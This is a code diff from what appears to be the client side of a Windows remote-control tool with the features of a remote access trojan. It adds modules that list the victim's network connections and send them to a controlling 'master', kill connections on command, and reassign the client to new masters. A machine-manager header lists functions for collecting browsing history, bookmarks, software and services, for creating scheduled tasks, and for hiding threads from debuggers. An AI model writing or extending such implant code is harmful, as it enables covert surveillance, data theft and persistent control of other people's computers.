|
||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
|||||||
@@ -28,12 +28,15 @@ DWORD WINAPI LoopShellManager(LPVOID lParam);
|
|||||||
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopFileManager(LPVOID lParam);
|
DWORD WINAPI LoopFileManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopChatManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopMachineManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopAudioManager(LPVOID lParam);
|
DWORD WINAPI LoopAudioManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopConnectionManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopProxyManager(LPVOID lParam);
|
DWORD WINAPI LoopProxyManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopClientLogManager(LPVOID lParam);
|
DWORD WINAPI LoopClientLogManager(LPVOID lParam);
|
||||||
@@ -0,0 +1,239 @@
|
|||||||
|
// ConnectionsManager.cpp: implementation of the CConnectionsManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "ConnectionsManager.h"
|
||||||
|
#include "Common.h"
|
||||||
|
#include <winsock2.h>
|
||||||
|
#include <ws2tcpip.h>
|
||||||
|
#include <iphlpapi.h>
|
||||||
|
#include <tcpmib.h>
|
||||||
|
#include <udpmib.h>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
#pragma comment(lib, "iphlpapi.lib")
|
||||||
|
|
||||||
|
#if ENABLE_CONNECTION_MNG
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CConnectionsManager::CConnectionsManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||||
|
{
|
||||||
|
SendConnectionList();
|
||||||
|
}
|
||||||
|
|
||||||
|
CConnectionsManager::~CConnectionsManager()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
// 把 PID 解析成进程映像名(UTF-8)。进程可能已退出/受保护,失败时填 <unknown>。
|
||||||
|
static void ResolveProcName(DWORD pid, char* out, int outLen)
|
||||||
|
{
|
||||||
|
if (outLen <= 0) return;
|
||||||
|
out[0] = 0;
|
||||||
|
if (pid == 0) {
|
||||||
|
strcpy_s(out, outLen, "System Idle Process");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||||
|
if (h == NULL) {
|
||||||
|
strcpy_s(out, outLen, "<unknown>");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
wchar_t wpath[MAX_PATH] = { 0 };
|
||||||
|
DWORD len = MAX_PATH;
|
||||||
|
BOOL ok = QueryFullProcessImageNameW(h, 0, wpath, &len);
|
||||||
|
CloseHandle(h);
|
||||||
|
if (!ok) {
|
||||||
|
strcpy_s(out, outLen, "<unknown>");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
wchar_t* base = wcsrchr(wpath, L'\\');
|
||||||
|
base = base ? base + 1 : wpath;
|
||||||
|
if (WideCharToMultiByte(CP_UTF8, 0, base, -1, out, outLen, NULL, NULL) <= 0) {
|
||||||
|
strcpy_s(out, outLen, "<unknown>");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
out[outLen - 1] = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// IPv4 地址:iphlpapi 的 dwLocalAddr/dwRemoteAddr 是网络序 DWORD(值 0xC0A80101 即 192.168.1.1),
|
||||||
|
// 转成 16 字节字段前 4 字节的网络序字节后 inet_ntop 可直接展示、断连时再拼回 DWORD。
|
||||||
|
static void PutAddr4(uint8_t* out, DWORD addrNet)
|
||||||
|
{
|
||||||
|
out[0] = (uint8_t)(addrNet >> 24);
|
||||||
|
out[1] = (uint8_t)(addrNet >> 16);
|
||||||
|
out[2] = (uint8_t)(addrNet >> 8);
|
||||||
|
out[3] = (uint8_t)(addrNet);
|
||||||
|
}
|
||||||
|
|
||||||
|
static DWORD GetAddr4(const uint8_t* addr)
|
||||||
|
{
|
||||||
|
return ((DWORD)addr[0] << 24) | ((DWORD)addr[1] << 16) | ((DWORD)addr[2] << 8) | (DWORD)addr[3];
|
||||||
|
}
|
||||||
|
|
||||||
|
static void AppendTcp4(std::vector<ConnectionInfo>& rows)
|
||||||
|
{
|
||||||
|
PMIB_TCPTABLE_OWNER_PID pTable = NULL;
|
||||||
|
DWORD dwSize = 0;
|
||||||
|
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||||
|
return;
|
||||||
|
pTable = (PMIB_TCPTABLE_OWNER_PID)malloc(dwSize);
|
||||||
|
if (pTable == NULL) return;
|
||||||
|
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
|
||||||
|
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||||
|
const MIB_TCPROW_OWNER_PID& r = pTable->table[i];
|
||||||
|
ConnectionInfo info = { 0 };
|
||||||
|
info.proto = 1;
|
||||||
|
info.af = AF_INET;
|
||||||
|
info.pid = r.dwOwningPid;
|
||||||
|
PutAddr4(info.localAddr, r.dwLocalAddr); // 网络序 DWORD → 网络序字节
|
||||||
|
info.localPort = ntohs((uint16_t)r.dwLocalPort); // 端口网络序 → 主机序
|
||||||
|
PutAddr4(info.remoteAddr, r.dwRemoteAddr);
|
||||||
|
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
|
||||||
|
info.state = r.dwState;
|
||||||
|
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||||
|
rows.push_back(info);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(pTable);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void AppendTcp6(std::vector<ConnectionInfo>& rows)
|
||||||
|
{
|
||||||
|
PMIB_TCP6TABLE_OWNER_PID pTable = NULL;
|
||||||
|
DWORD dwSize = 0;
|
||||||
|
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||||
|
return;
|
||||||
|
pTable = (PMIB_TCP6TABLE_OWNER_PID)malloc(dwSize);
|
||||||
|
if (pTable == NULL) return;
|
||||||
|
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
|
||||||
|
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||||
|
const MIB_TCP6ROW_OWNER_PID& r = pTable->table[i];
|
||||||
|
ConnectionInfo info = { 0 };
|
||||||
|
info.proto = 1;
|
||||||
|
info.af = AF_INET6;
|
||||||
|
info.pid = r.dwOwningPid;
|
||||||
|
memcpy(info.localAddr, r.ucLocalAddr, 16);
|
||||||
|
info.localPort = ntohs((uint16_t)r.dwLocalPort);
|
||||||
|
memcpy(info.remoteAddr, r.ucRemoteAddr, 16);
|
||||||
|
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
|
||||||
|
info.state = r.dwState;
|
||||||
|
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||||
|
rows.push_back(info);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(pTable);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void AppendUdp4(std::vector<ConnectionInfo>& rows)
|
||||||
|
{
|
||||||
|
PMIB_UDPTABLE_OWNER_PID pTable = NULL;
|
||||||
|
DWORD dwSize = 0;
|
||||||
|
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||||
|
return;
|
||||||
|
pTable = (PMIB_UDPTABLE_OWNER_PID)malloc(dwSize);
|
||||||
|
if (pTable == NULL) return;
|
||||||
|
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
|
||||||
|
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||||
|
const MIB_UDPROW_OWNER_PID& r = pTable->table[i];
|
||||||
|
ConnectionInfo info = { 0 };
|
||||||
|
info.proto = 2;
|
||||||
|
info.af = AF_INET;
|
||||||
|
info.pid = r.dwOwningPid;
|
||||||
|
PutAddr4(info.localAddr, r.dwLocalAddr);
|
||||||
|
info.localPort = ntohs((uint16_t)r.dwLocalPort);
|
||||||
|
info.state = 0;
|
||||||
|
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||||
|
rows.push_back(info);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(pTable);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void AppendUdp6(std::vector<ConnectionInfo>& rows)
|
||||||
|
{
|
||||||
|
PMIB_UDP6TABLE_OWNER_PID pTable = NULL;
|
||||||
|
DWORD dwSize = 0;
|
||||||
|
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||||
|
return;
|
||||||
|
pTable = (PMIB_UDP6TABLE_OWNER_PID)malloc(dwSize);
|
||||||
|
if (pTable == NULL) return;
|
||||||
|
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
|
||||||
|
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||||
|
const MIB_UDP6ROW_OWNER_PID& r = pTable->table[i];
|
||||||
|
ConnectionInfo info = { 0 };
|
||||||
|
info.proto = 2;
|
||||||
|
info.af = AF_INET6;
|
||||||
|
info.pid = r.dwOwningPid;
|
||||||
|
memcpy(info.localAddr, r.ucLocalAddr, 16);
|
||||||
|
info.localPort = ntohs((uint16_t)r.dwLocalPort);
|
||||||
|
info.state = 0;
|
||||||
|
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||||
|
rows.push_back(info);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(pTable);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CConnectionsManager::SendConnectionList()
|
||||||
|
{
|
||||||
|
std::vector<ConnectionInfo> rows;
|
||||||
|
AppendTcp4(rows);
|
||||||
|
AppendTcp6(rows);
|
||||||
|
AppendUdp4(rows);
|
||||||
|
AppendUdp6(rows);
|
||||||
|
|
||||||
|
size_t count = rows.size();
|
||||||
|
if (count > 0xFFFF) count = 0xFFFF;
|
||||||
|
ULONG bufLen = 1 + 2 + (ULONG)(count * sizeof(ConnectionInfo));
|
||||||
|
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, bufLen);
|
||||||
|
if (szBuffer == NULL) return;
|
||||||
|
szBuffer[0] = TOKEN_CONNECTION_LIST;
|
||||||
|
uint16_t cnt = (uint16_t)count;
|
||||||
|
memcpy(szBuffer + 1, &cnt, 2);
|
||||||
|
for (size_t i = 0; i < count; ++i)
|
||||||
|
memcpy(szBuffer + 3 + i * sizeof(ConnectionInfo), &rows[i], sizeof(ConnectionInfo));
|
||||||
|
|
||||||
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
|
m_ClientObject->Send2Server((char*)szBuffer, bufLen, &mask);
|
||||||
|
LocalFree(szBuffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsManager::KillConnection(const ConnectionInfo& info)
|
||||||
|
{
|
||||||
|
// 仅 IPv4 TCP 有公开 API 可强制断开(SetTcpEntry + DELETE_TCB)。
|
||||||
|
if (info.proto != 1 || info.af != AF_INET) return;
|
||||||
|
|
||||||
|
MIB_TCPROW row = { 0 };
|
||||||
|
row.dwState = MIB_TCP_STATE_DELETE_TCB;
|
||||||
|
row.dwLocalAddr = GetAddr4(info.localAddr); // 网络序字节 → 网络序 DWORD
|
||||||
|
row.dwLocalPort = (DWORD)htons(info.localPort); // 主机序端口 → 网络序
|
||||||
|
row.dwRemoteAddr = GetAddr4(info.remoteAddr);
|
||||||
|
row.dwRemotePort = (DWORD)htons(info.remotePort);
|
||||||
|
SetTcpEntry(&row);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CConnectionsManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
switch (szBuffer[0]) {
|
||||||
|
case COMMAND_CONNECTION: // 刷新
|
||||||
|
SendConnectionList();
|
||||||
|
break;
|
||||||
|
case COMMAND_KILL_CONNECTION: // 强制断开
|
||||||
|
if (ulLength >= 1 + sizeof(ConnectionInfo)) {
|
||||||
|
ConnectionInfo info;
|
||||||
|
memcpy(&info, szBuffer + 1, sizeof(ConnectionInfo));
|
||||||
|
KillConnection(info);
|
||||||
|
}
|
||||||
|
SendConnectionList();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
// ConnectionsManager.h: interface for the CConnectionsManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
|
||||||
|
#define AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
#if ENABLE_CONNECTION_MNG==0
|
||||||
|
#define CConnectionsManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
|
class CConnectionsManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||||
|
virtual ~CConnectionsManager();
|
||||||
|
VOID SendConnectionList();
|
||||||
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
void KillConnection(const ConnectionInfo& info);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
|
||||||
@@ -36,9 +36,13 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
|
|||||||
// 初始化V2文件传输模块
|
// 初始化V2文件传输模块
|
||||||
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
||||||
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
|
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
|
||||||
if (!m_Signature.empty())
|
if (!m_Signature.empty()) {
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
int chunkKb, durMs;
|
||||||
|
GetTransferSpeed(cfg, chunkKb, durMs);
|
||||||
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
|
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
|
||||||
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf);
|
main ? main->m_LoginSignature : pClient->m_LoginSignature, chunkKb, durMs, Logf);
|
||||||
|
}
|
||||||
|
|
||||||
// 发送驱动器列表, 开始进行文件管理,建立新线程
|
// 发送驱动器列表, 开始进行文件管理,建立新线程
|
||||||
SendDriveList();
|
SendDriveList();
|
||||||
|
|||||||
@@ -1019,6 +1019,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
case COMMAND_SHARE:
|
case COMMAND_SHARE:
|
||||||
case COMMAND_ASSIGN_MASTER:
|
case COMMAND_ASSIGN_MASTER:
|
||||||
if (ulLength > 2) {
|
if (ulLength > 2) {
|
||||||
|
// 解析末尾协议段(Shine=0 / HELL=1,旧命令无此段则 -1 沿用烘焙值)
|
||||||
|
int shareProto = -1;
|
||||||
|
{
|
||||||
|
auto pv = StringToVector((char*)szBuffer + 2, ':', 5);
|
||||||
|
if (szBuffer[1] == SHARE_TYPE_YAMA && pv.size() >= 3 && (pv[2] == "0" || pv[2] == "1"))
|
||||||
|
shareProto = atoi(pv[2].c_str());
|
||||||
|
else if (szBuffer[1] == SHARE_TYPE_YAMA_FOREVER && pv.size() >= 4 && (pv[3] == "0" || pv[3] == "1"))
|
||||||
|
shareProto = atoi(pv[3].c_str());
|
||||||
|
}
|
||||||
switch (szBuffer[1]) {
|
switch (szBuffer[1]) {
|
||||||
case SHARE_TYPE_YAMA_FOREVER: {
|
case SHARE_TYPE_YAMA_FOREVER: {
|
||||||
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
|
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
|
||||||
@@ -1029,6 +1038,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (now <= valid_to) break; // Avoid assign again
|
if (now <= valid_to) break; // Avoid assign again
|
||||||
m_cfg->SetStr("settings", "master", v[0]);
|
m_cfg->SetStr("settings", "master", v[0]);
|
||||||
m_cfg->SetStr("settings", "port", v[1]);
|
m_cfg->SetStr("settings", "port", v[1]);
|
||||||
|
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
|
||||||
|
m_cfg->SetStr("settings", "master_proto", std::to_string(shareProto));
|
||||||
float days = atof(v[2].c_str());
|
float days = atof(v[2].c_str());
|
||||||
if (days > 0) {
|
if (days > 0) {
|
||||||
auto valid_to = time(0) + days*86400;
|
auto valid_to = time(0) + days*86400;
|
||||||
@@ -1047,6 +1058,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (v[0].empty() || v[1].empty())
|
if (v[0].empty() || v[1].empty())
|
||||||
break;
|
break;
|
||||||
auto share = v[0] + ":" + v[1];
|
auto share = v[0] + ":" + v[1];
|
||||||
|
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
|
||||||
|
share += ":" + std::to_string(shareProto);
|
||||||
auto list = m_cfg->GetStr("settings", "share_list");
|
auto list = m_cfg->GetStr("settings", "share_list");
|
||||||
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
|
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
|
||||||
if (VectorContains(shareList, share)) break;
|
if (VectorContains(shareList, share)) break;
|
||||||
@@ -1054,7 +1067,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
|
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
|
||||||
Mprintf("Share client to new master: %s\n", share.c_str());
|
Mprintf("Share client to new master: %s\n", share.c_str());
|
||||||
}
|
}
|
||||||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE, shareProto);
|
||||||
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -1140,6 +1153,30 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case COMMAND_CHAT: { // 远程交谈(双向聊天)
|
||||||
|
if (!ENABLE_MESSAGE) {
|
||||||
|
return ResponseDisable(m_ClientObject, "CHAT", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
|
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||||
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopChatManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_MACHINE_MANAGE: { // 主机管理
|
||||||
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopMachineManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
case COMMAND_SHELL: {
|
case COMMAND_SHELL: {
|
||||||
if (!ENABLE_SHELL) {
|
if (!ENABLE_SHELL) {
|
||||||
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
||||||
@@ -1264,6 +1301,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case CMD_FILE_SPEED: {
|
||||||
|
// 主控端下发文件传输速度档位:[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]。
|
||||||
|
// 写入 [transfer] 节,供各 InitFileUpload 调用点经 GetTransferSpeed 读取。
|
||||||
|
if (ulLength >= 5) {
|
||||||
|
int chunkKb = szBuffer[1] | (szBuffer[2] << 8);
|
||||||
|
int durMs = szBuffer[3] | (szBuffer[4] << 8);
|
||||||
|
m_cfg->SetInt("transfer", "ChunkKb", chunkKb);
|
||||||
|
m_cfg->SetInt("transfer", "DurationMs", durMs);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
case COMMAND_LIST_DRIVE : {
|
case COMMAND_LIST_DRIVE : {
|
||||||
if (!ENABLE_FILE_MNG) {
|
if (!ENABLE_FILE_MNG) {
|
||||||
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
|
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
|
||||||
@@ -1331,6 +1380,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case COMMAND_CONNECTION: {
|
||||||
|
if (!ENABLE_CONNECTION_MNG) {
|
||||||
|
return ResponseDisable(m_ClientObject, "CONNECTION", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopConnectionManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
case COMMAND_UPDATE: {
|
case COMMAND_UPDATE: {
|
||||||
auto typ = m_conn->ClientType();
|
auto typ = m_conn->ClientType();
|
||||||
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
|
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
|
||||||
@@ -1383,7 +1445,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。
|
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。
|
||||||
static bool s_v2RecvInited = false;
|
static bool s_v2RecvInited = false;
|
||||||
if (!s_v2RecvInited) {
|
if (!s_v2RecvInited) {
|
||||||
InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
|
int chunkKb, durMs;
|
||||||
|
GetTransferSpeed(*m_cfg, chunkKb, durMs);
|
||||||
|
InitFileUpload({}, m_LoginMsg, m_LoginSignature, chunkKb, durMs, Logf);
|
||||||
s_v2RecvInited = true;
|
s_v2RecvInited = true;
|
||||||
}
|
}
|
||||||
// C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度)
|
// C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度)
|
||||||
|
|||||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,204 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "Manager.h"
|
||||||
|
#include <Iphlpapi.h>
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
#include <map>
|
||||||
|
#include <WINSOCK2.H>
|
||||||
|
#include "yapi.hpp"
|
||||||
|
|
||||||
|
#pragma comment(lib, "Iphlpapi.lib")
|
||||||
|
#pragma comment(lib, "WS2_32.lib")
|
||||||
|
|
||||||
|
#include <taskschd.h>
|
||||||
|
#include <comutil.h>
|
||||||
|
#pragma comment(lib, "taskschd.lib")
|
||||||
|
#pragma comment(lib, "comsupp.lib")
|
||||||
|
|
||||||
|
typedef std::map<DWORD, std::string> PidandStitle; // 进程ID与窗口名
|
||||||
|
#define MAKE_PAIR(_a,b,c) _a::value_type((b),(c))
|
||||||
|
|
||||||
|
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
|
||||||
|
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002
|
||||||
|
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004
|
||||||
|
|
||||||
|
class CMachineManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
BOOL m_bUse;
|
||||||
|
CMachineManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||||
|
virtual ~CMachineManager();
|
||||||
|
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||||
|
private:
|
||||||
|
static BOOL DebugPrivilege(const char* PName, BOOL bEnable);
|
||||||
|
static bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
|
||||||
|
HWND GetHwndByPid(DWORD dwProcessID);
|
||||||
|
bool Is64BitOS();
|
||||||
|
bool Is64BitPorcess(DWORD dwProcessID);
|
||||||
|
char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName);
|
||||||
|
wchar_t* char2wchar_t(char* cstr);
|
||||||
|
BOOL EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable);
|
||||||
|
void DeleteService(LPBYTE lpBuffer, UINT nSize);
|
||||||
|
void MyControlService(LPBYTE lpBuffer, UINT nType);
|
||||||
|
|
||||||
|
void SendProcessList();
|
||||||
|
LPBYTE getProcessList(); //进程
|
||||||
|
|
||||||
|
void SendWindowsList();
|
||||||
|
LPBYTE getWindowsList(); //窗口
|
||||||
|
|
||||||
|
void SendNetStateList();
|
||||||
|
LPBYTE getNetStateList();
|
||||||
|
|
||||||
|
void SendSoftWareList();
|
||||||
|
LPBYTE getSoftWareList(); //软件列表
|
||||||
|
|
||||||
|
void SendIEHistoryList();
|
||||||
|
LPBYTE getIEHistoryList(); // 浏览记录
|
||||||
|
|
||||||
|
void SendFavoritesUrlList();
|
||||||
|
void FindFavoritesUrl(char* searchfilename, PBYTE &data, int &offset);
|
||||||
|
LPBYTE getFavoritesUrlList(); //收藏夹
|
||||||
|
|
||||||
|
void SendServicesList(DWORD dwScType = SERVICE_WIN32);
|
||||||
|
LPBYTE getServiceList(DWORD dwScType);
|
||||||
|
|
||||||
|
PBYTE GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset); //获取目录下的所有任务
|
||||||
|
PBYTE GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset);//获取目录下的子目录
|
||||||
|
PBYTE GetRoot(); //获取根目录下的子文件夹
|
||||||
|
|
||||||
|
BOOL CreateTask(LPBYTE lpBuffer); //创建计划任务
|
||||||
|
